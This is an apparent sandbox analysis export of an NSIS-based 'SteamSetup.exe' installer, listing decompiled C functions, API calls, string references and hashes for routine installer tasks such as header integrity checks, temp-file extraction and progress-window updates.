RichEd20, xrefs: 00403BF5
C:\Users\user\AppData\Local\Temp\, xrefs: 004039CC
C:\Program Files (x86)\Steam, xrefs: 00403A57, 00403A5F, 00403B02, 00403B08, 00403B18
Delete on reboot: , xrefs: 00403A8F, 00403A98, 00403AA6, 00403AF5, 00403AFB
RichEd32, xrefs: 00403C03
Control Panel\Desktop\ResourceLocale, xrefs: 004039FB

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" $(7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Program Files (x86)\Steam$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$Delete on reboot: $RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1407242255
Opcode ID: e4b79f2775376875fb57570f8962d2b7733680286c700de63aaa8ea03b262410
Instruction ID: e7f44595d902892b35b801f2f0c3734befc0b18a393fec54347386a87508d522
Opcode Fuzzy Hash: e4b79f2775376875fb57570f8962d2b7733680286c700de63aaa8ea03b262410
Instruction Fuzzy Hash: 8661C570244200BAD730AF669D49E2B3A7CEB84B49F40453FF981B62E2DB7D5912C63D

Uniqueness

Uniqueness Score: -1.00%

Function 00402E41 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

			E00402E41(void* __eflags, signed int _a4) {
				long _v8;
				long _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				signed int _t54;
				void* _t57;
				void* _t62;
				intOrPtr _t65;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr _t71;
				signed int _t77;
				signed int _t82;
				signed int _t83;
				signed int _t89;
				intOrPtr _t92;
				signed int _t101;
				signed int _t103;
				void* _t105;
				signed int _t106;
				signed int _t109;
				void* _t110;

				_v8 = 0;
				_v12 = 0;
				 *0x42a24c = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, L"C:\\Users\\hardz\\AppData\\Local\\Temp\\SteamSetup.exe", 0x400);
				_t105 = E00405D53(L"C:\\Users\\hardz\\AppData\\Local\\Temp\\SteamSetup.exe", 0x80000000, 3);
				 *0x40a018 = _t105;
				if(_t105 == 0xffffffff) {
					return L"Error launching installer";
				}
				E0040617E(L"C:\\Users\\hardz\\AppData\\Local\\Temp", L"C:\\Users\\hardz\\AppData\\Local\\Temp\\SteamSetup.exe");
				E0040617E(0x439000, E00405B7E(L"C:\\Users\\hardz\\AppData\\Local\\Temp"));
				_t54 = GetFileSize(_t105, 0);
				__eflags = _t54;
				 *0x418ee0 = _t54;
				_t109 = _t54;
				if(_t54 <= 0) {
					L22:
					E00402D9F(1);
					__eflags =  *0x42a254;
					if( *0x42a254 == 0) {
						goto L30;
					}
					__eflags = _v12;
					if(_v12 == 0) {
						L26:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t110 = _t57;
						E00406677(0x40ce48);
						E00405D82(0x40ce48,  &_v560, L"C:\\Users\\hardz\\AppData\\Local\\Temp\\"); // executed
						_t62 = CreateFileW( &_v560, 0xc0000000, 0, 0, 2, 0x4000100, 0); // executed
						__eflags = _t62 - 0xffffffff;
						 *0x40a01c = _t62;
						if(_t62 != 0xffffffff) {
							_t65 = E0040336E( *0x42a254 + 0x1c);
							 *0x418ee4 = _t65;
							 *0x418ed8 = _t65 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t68 = E004030E7(_v16, 0xffffffff, 0, _t110, _v20); // executed
							__eflags = _t68 - _v20;
							if(_t68 == _v20) {
								__eflags = _v40 & 0x00000001;
								 *0x42a250 = _t110;
								 *0x42a258 =  *_t110;
								if((_v40 & 0x00000001) != 0) {
									 *0x42a25c =  *0x42a25c + 1;
									__eflags =  *0x42a25c;
								}
								_t45 = _t110 + 0x44; // 0x44
								_t70 = _t45;
								_t101 = 8;
								do {
									_t70 = _t70 - 8;
									 *_t70 =  *_t70 + _t110;
									_t101 = _t101 - 1;
									__eflags = _t101;
								} while (_t101 != 0);
								_t71 =  *0x418ed4; // 0x4aa46
								 *((intOrPtr*)(_t110 + 0x3c)) = _t71;
								E00405D0E(0x42a260, _t110 + 4, 0x40);
								__eflags = 0;
								return 0;
							}
							goto L30;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E0040336E( *0x418ed0);
					_t77 = E00403358( &_a4, 4);
					__eflags = _t77;
					if(_t77 == 0) {
						goto L30;
					}
					__eflags = _v8 - _a4;
					if(_v8 != _a4) {
						goto L30;
					}
					goto L26;
				} else {
					do {
						_t106 = _t109;
						asm("sbb eax, eax");
						_t82 = ( ~( *0x42a254) & 0x00007e00) + 0x200;
						__eflags = _t109 - _t82;
						if(_t109 >= _t82) {
							_t106 = _t82;
						}
						_t83 = E00403358(0x418ee8, _t106);
						__eflags = _t83;
						if(_t83 == 0) {
							E00402D9F(1);
							L30:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x42a254;
						if( *0x42a254 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402D9F(0);
							}
							goto L19;
						}
						E00405D0E( &_v40, 0x418ee8, 0x1c);
						_t89 = _v40;
						__eflags = _t89 & 0xfffffff0;
						if((_t89 & 0xfffffff0) != 0) {
							goto L19;
						}
						__eflags = _v36 - 0xdeadbeef;
						if(_v36 != 0xdeadbeef) {
							goto L19;
						}
						__eflags = _v24 - 0x74736e49;
						if(_v24 != 0x74736e49) {
							goto L19;
						}
						__eflags = _v28 - 0x74666f73;
						if(_v28 != 0x74666f73) {
							goto L19;
						}
						__eflags = _v32 - 0x6c6c754e;
						if(_v32 != 0x6c6c754e) {
							goto L19;
						}
						_a4 = _a4 | _t89;
						_t103 =  *0x418ed0; // 0x18d36
						 *0x42a2e0 =  *0x42a2e0 | _a4 & 0x00000002;
						_t92 = _v16;
						__eflags = _t92 - _t109;
						 *0x42a254 = _t103;
						if(_t92 > _t109) {
							goto L30;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L15:
							_v12 = _v12 + 1;
							_t109 = _t92 - 4;
							__eflags = _t106 - _t109;
							if(_t106 > _t109) {
								_t106 = _t109;
							}
							goto L19;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							goto L22;
						}
						goto L15;
						L19:
						__eflags = _t109 -  *0x418ee0; // 0x1e93a
						if(__eflags < 0) {
							_v8 = E00406609(_v8, 0x418ee8, _t106);
						}
						 *0x418ed0 =  *0x418ed0 + _t106;
						_t109 = _t109 - _t106;
						__eflags = _t109;
					} while (_t109 > 0);
					goto L22;
				}
			}

0x00402e4f
0x00402e52
0x00402e6c
0x00402e71
0x00402e84
0x00402e89
0x00402e8f
0x00000000
0x00402e91
0x00402ea2
0x00402eb3
0x00402eba
0x00402ec0
0x00402ec2
0x00402ec7
0x00402ec9
0x00402fb9
0x00402fbb
0x00402fc0
0x00402fc7
0x00000000
0x00000000
0x00402fcd
0x00402fd0
0x00402ffc
0x00403001
0x0040300c
0x0040300e
0x0040301f
0x0040303a
0x00403040
0x00403043
0x00403048
0x00403067
0x00403077
0x00403089
0x0040308e
0x00403093
0x00403096
0x0040309f
0x004030a3
0x004030ab
0x004030b0
0x004030b2
0x004030b2
0x004030b2
0x004030ba
0x004030ba
0x004030bd
0x004030be
0x004030be
0x004030c1
0x004030c3
0x004030c3
0x004030c3
0x004030c6
0x004030cd
0x004030d9
0x004030de
0x00000000
0x004030de
0x00000000
0x00403096
0x00000000
0x0040304a
0x00402fd8
0x00402fe3
0x00402fe8
0x00402fea
0x00000000
0x00000000
0x00402ff3
0x00402ff6
0x00000000
0x00000000
0x00000000
0x00402ecf
0x00402ecf
0x00402ed4
0x00402ed8
0x00402edf
0x00402ee4
0x00402ee6
0x00402ee8
0x00402ee8
0x00402ef0
0x00402ef5
0x00402ef7
0x00403056
0x00403098
0x00000000
0x00403098
0x00402efd
0x00402f03
0x00402f83
0x00402f87
0x00402f8a
0x00402f8f
0x00000000
0x00402f87
0x00402f10
0x00402f15
0x00402f18
0x00402f1d
0x00000000
0x00000000
0x00402f1f
0x00402f26
0x00000000
0x00000000
0x00402f28
0x00402f2f
0x00000000
0x00000000
0x00402f31
0x00402f38
0x00000000
0x00000000
0x00402f3a
0x00402f41
0x00000000
0x00000000
0x00402f43
0x00402f49
0x00402f52
0x00402f58
0x00402f5b
0x00402f5d
0x00402f63
0x00000000
0x00000000
0x00402f69
0x00402f6d
0x00402f75
0x00402f75
0x00402f78
0x00402f7b
0x00402f7d
0x00402f7f
0x00402f7f
0x00000000
0x00402f7d
0x00402f6f
0x00402f73
0x00000000
0x00000000
0x00000000
0x00402f90
0x00402f90
0x00402f96
0x00402fa6
0x00402fa6
0x00402fa9
0x00402faf
0x00402fb1
0x00402fb1
0x00000000
0x00402ecf

APIs

GetTickCount.KERNEL32 ref: 00402E55
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,00000400), ref: 00402E71

Part of subcall function 00405D53: GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,80000000,00000003), ref: 00405D57
Part of subcall function 00405D53: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D79

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,C:\Users\user\AppData\Local\Temp\SteamSetup.exe,80000000,00000003), ref: 00402EBA
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 00403001

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00402E4B, 00403019
C:\Users\user\AppData\Local\Temp, xrefs: 00402E9C, 00402EA1, 00402EA7
Error launching installer, xrefs: 00402E91
Inst, xrefs: 00402F28
soft, xrefs: 00402F31
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403098
Null, xrefs: 00402F3A
"C:\Users\user\AppData\Local\Temp\SteamSetup.exe" , xrefs: 00402E41
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040304A
C:\Users\user\AppData\Local\Temp\SteamSetup.exe, xrefs: 00402E5B, 00402E6A, 00402E7E, 00402E9B

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" $C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\SteamSetup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-236557377
Opcode ID: a88f7b64cf2f84ce6159e852375487555ed60e3ec4e5ecaf9a54fe269baa00ef
Instruction ID: e866f1dd798e5fb15c0a347603bcfded6ce2f229c2e481af73dd86df93422dd6
Opcode Fuzzy Hash: a88f7b64cf2f84ce6159e852375487555ed60e3ec4e5ecaf9a54fe269baa00ef
Instruction Fuzzy Hash: 9761C431A00215ABDB209F75DD49B9E7BB8EB00359F20817FF500F62D1DABD9A448B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00401767(FILETIME* __ebx, void* __eflags) {
				void* __edi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				void* _t81;
				void* _t82;
				WCHAR* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 0xc) = E00402BBF(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x2c) & 0x00000007;
				_t35 = E00405BA9( *(_t86 - 0xc));
				_push( *(_t86 - 0xc));
				_t84 = L"Call";
				if(_t35 == 0) {
					lstrcatW(E00405B32(E0040617E(_t84, L"C:\\Program Files (x86)\\Steam")), ??);
				} else {
					E0040617E();
				}
				E00406412(_t84);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E004064C1(_t84);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x20);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00405D2E(_t84);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00405D53(_t84, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 8) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004052DD(0xffffffe2,  *(_t86 - 0xc));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x42a2c8;
						goto L32;
					} else {
						E0040617E("C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp", _t81);
						E0040617E(_t81, _t84);
						E004061A0(_t77, _t81, _t84, "C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x18)));
						E0040617E(_t81, "C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp");
						_t64 = E004058C3("C:\Users\hardz\AppData\Local\Temp\nsc3274.tmp\System.dll",  *(_t86 - 0x2c) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x42a2c8 =  &( *0x42a2c8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t84);
								_push(0xfffffffa);
								E004052DD();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004052DD(0xffffffea,  *(_t86 - 0xc)); // executed
				 *0x42a2f4 =  *0x42a2f4 + 1;
				_t45 = E004030E7(_t79,  *((intOrPtr*)(_t86 - 0x24)),  *(_t86 - 8), _t77, _t77); // executed
				 *0x42a2f4 =  *0x42a2f4 - 1;
				__eflags =  *(_t86 - 0x20) - 0xffffffff;
				_t82 = _t45;
				if( *(_t86 - 0x20) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 8), _t86 - 0x20, _t77, _t86 - 0x20); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x1c)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x1c)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t86 - 8)); // executed
				__eflags = _t82 - _t77;
				if(_t82 >= _t77) {
					goto L31;
				} else {
					__eflags = _t82 - 0xfffffffe;
					if(_t82 != 0xfffffffe) {
						E004061A0(_t77, _t82, _t84, _t84, 0xffffffee);
					} else {
						E004061A0(_t77, _t82, _t84, _t84, 0xffffffe9);
						lstrcatW(_t84,  *(_t86 - 0xc));
					}
					_push(0x200010);
					_push(_t84);
					E004058C3();
					goto L29;
				}
				goto L33;
			}

0x00401767
0x0040176e
0x0040177a
0x0040177d
0x00401782
0x00401785
0x0040178c
0x004017a8
0x0040178e
0x0040178f
0x0040178f
0x004017ae
0x004017b3
0x004017b3
0x004017b7
0x004017ba
0x004017bf
0x004017c1
0x004017c3
0x004017c8
0x004017c8
0x004017d3
0x004017d3
0x004017e4
0x004017e6
0x004017e6
0x004017e7
0x004017e7
0x004017ea
0x004017ed
0x004017f0
0x004017f0
0x004017f7
0x00401806
0x0040180b
0x0040180e
0x00401811
0x00000000
0x00000000
0x00401813
0x00401816
0x0040186c
0x00401871
0x004015ae
0x0040281e
0x0040281e
0x00402a4c
0x00402a4f
0x00402a4f
0x00000000
0x00401818
0x0040181e
0x00401825
0x00401832
0x0040183d
0x00401853
0x00401853
0x00401856
0x00000000
0x0040185c
0x0040185c
0x0040185d
0x0040187a
0x00402a55
0x00402a55
0x00402a55
0x0040185f
0x0040185f
0x00401860
0x00401493
0x00402288
0x00402288
0x00402288
0x0040185d
0x00401856
0x00402a57
0x00402a5b
0x00402a5b
0x0040188a
0x0040188f
0x0040189d
0x004018a2
0x004018a8
0x004018ac
0x004018ae
0x004018b6
0x004018c2
0x004018b0
0x004018b0
0x004018b4
0x00000000
0x00000000
0x004018b4
0x004018cb
0x004018d1
0x004018d3
0x00000000
0x004018d9
0x004018d9
0x004018dc
0x004018f4
0x004018de
0x004018e1
0x004018ea
0x004018ea
0x004018f9
0x004018fe
0x00402283
0x00000000
0x00402283
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Program Files (x86)\Steam,?,?,00000031), ref: 004017CD

Part of subcall function 0040617E: lstrcpynW.KERNEL32(?,?,00000400,00403463,00429240,NSIS Error), ref: 0040618B

Part of subcall function 004052DD: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\), ref: 0040534A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

Strings

C:\Program Files (x86)\Steam, xrefs: 00401796
C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll, xrefs: 0040182D, 00401849
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nsc3274.tmp, xrefs: 00401819, 00401837

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Program Files (x86)\Steam$C:\Users\user\AppData\Local\Temp\nsc3274.tmp$C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll$Call
API String ID: 1941528284-2715031348
Opcode ID: c99cb29f0c59df320ba8836b13ac33499522cbd586de9540036f9f0a26f71c50
Instruction ID: b64174440326d41e90dd14f1ad6608c73badddfa8ee8632f400ec40acf256ac3
Opcode Fuzzy Hash: c99cb29f0c59df320ba8836b13ac33499522cbd586de9540036f9f0a26f71c50
Instruction Fuzzy Hash: 0C41C431900515BACF117FB5CC46DAE3679EF05329B20827BF422F51E2DA3C86629A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004052DD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004052DD(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x429224;
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x42a2f4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E004061A0(_t38, 0, 0x422708, 0x422708, _a4);
					}
					_t27 = lstrlenW(0x422708);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x429208, 0x422708); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x422708;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x422708[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x422708, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004052e3
0x004052ed
0x004052f2
0x004052f8
0x00405303
0x00405306
0x00405309
0x0040530f
0x0040530f
0x00405315
0x0040531d
0x00405320
0x0040533d
0x00405341
0x0040534a
0x0040534a
0x00405354
0x0040535d
0x00405369
0x00405370
0x00405374
0x00405377
0x0040538a
0x00405398
0x00405398
0x0040539c
0x0040539e
0x004053a1
0x00000000
0x004053a1
0x00405322
0x0040532a
0x00405332
0x00405338
0x00000000
0x00405338
0x00405332
0x00405320
0x004053ad

APIs

lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
lstrlenW.KERNEL32(00402E19,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,00402E19), ref: 00405338
SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\), ref: 0040534A
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

Strings

Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\, xrefs: 004052FE, 0040530E, 00405314, 00405337, 00405343

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Delete on reboot: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\
API String ID: 2531174081-2149132803
Opcode ID: 972aac7018336843b0c890e7bd87d5dddbcc3b404b63b40d4461520666951a00
Instruction ID: d14990956ab1253184f877e9e8298894284f42a30aea32824f5004b5108fa95f
Opcode Fuzzy Hash: 972aac7018336843b0c890e7bd87d5dddbcc3b404b63b40d4461520666951a00
Instruction Fuzzy Hash: 62217F71900518BACF119FA6DD44ACFBFB8EF85354F10807AF904B62A1C7B94A51DFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402D9F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00402D9F(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				void* _t13;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x418edc; // 0x0
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x418edc = 0;
					return _t15;
				}
				__eflags =  *0x418edc; // 0x0
				if(__eflags != 0) {
					return E00406594(0);
				}
				_t6 = GetTickCount();
				__eflags = _t6 -  *0x42a24c;
				if(_t6 >  *0x42a24c) {
					__eflags =  *0x42a248;
					if( *0x42a248 == 0) {
						_t7 = CreateDialogParamW( *0x42a240, 0x6f, 0, E00402D04, 0);
						 *0x418edc = _t7;
						return ShowWindow(_t7, 5);
					}
					__eflags =  *0x42a2f4 & 0x00000001;
					if(( *0x42a2f4 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00402D83());
						_t13 = E004052DD(0,  &_v132); // executed
						return _t13;
					}
				}
				return _t6;
			}

0x00402dae
0x00402db0
0x00402db7
0x00402dba
0x00402dba
0x00402dc0
0x00000000
0x00402dc0
0x00402dc8
0x00402dce
0x00000000
0x00402dd1
0x00402dd8
0x00402dde
0x00402de4
0x00402de6
0x00402dec
0x00402e2a
0x00402e33
0x00000000
0x00402e38
0x00402dee
0x00402df5
0x00402e06
0x00402e14
0x00000000
0x00402e14
0x00402df5
0x00402e40

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402DBA
GetTickCount.KERNEL32 ref: 00402DD8
